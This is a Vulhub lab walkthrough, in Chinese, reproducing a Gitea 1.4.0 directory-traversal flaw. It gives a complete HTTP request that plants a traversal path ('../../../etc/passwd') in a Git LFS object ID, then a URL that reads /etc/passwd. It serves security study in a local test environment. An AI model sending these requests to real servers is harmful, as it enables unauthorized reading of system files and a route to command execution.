Gitea 1.4.0 目錄穿越導致命令執行漏洞
Path gitea/1.4-rce
Gitea是從gogs衍生出的一個開源項目,是一個類似于Github、Gitlab的多用戶Git倉庫管理平臺。其1.4.0版本中有一處邏輯錯誤,導致未授權用戶可以穿越目錄,讀寫任意文件,最終導致執行任意命令。
參考鏈接:
- https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html
- https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html
漏洞環境
執行如下命令啟動啟動漏洞環境:
docker-compose up -d
環境啟動后,訪問http://you-ip:3000,將進入安裝頁面,填寫管理員賬號密碼,并修改網站URL,其他的用默認配置安裝即可。(不要修改端口號)
安裝完成后,創建一個公開的倉庫,隨便添加點文件進去(比如使用選定的文件和模板初始化倉庫):

然后,需要執行一次docker-compose restart重啟gitea服務。(原因詳見第二個參考鏈接)
漏洞復現
由于漏洞鏈整體利用比較復雜,我們只復現文件讀取部分,剩余利用方法詳見第二個參考鏈接。
打開gitea,找到剛才創建的公開項目,如vulhub/repo,發送如下數據包,添加一個Git LFS對象:
POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151
{
"Oid": "....../../../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}
然后,訪問http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth,即可看到/etc/passwd已被成功讀取:

Vulhub 文檔
推薦文章: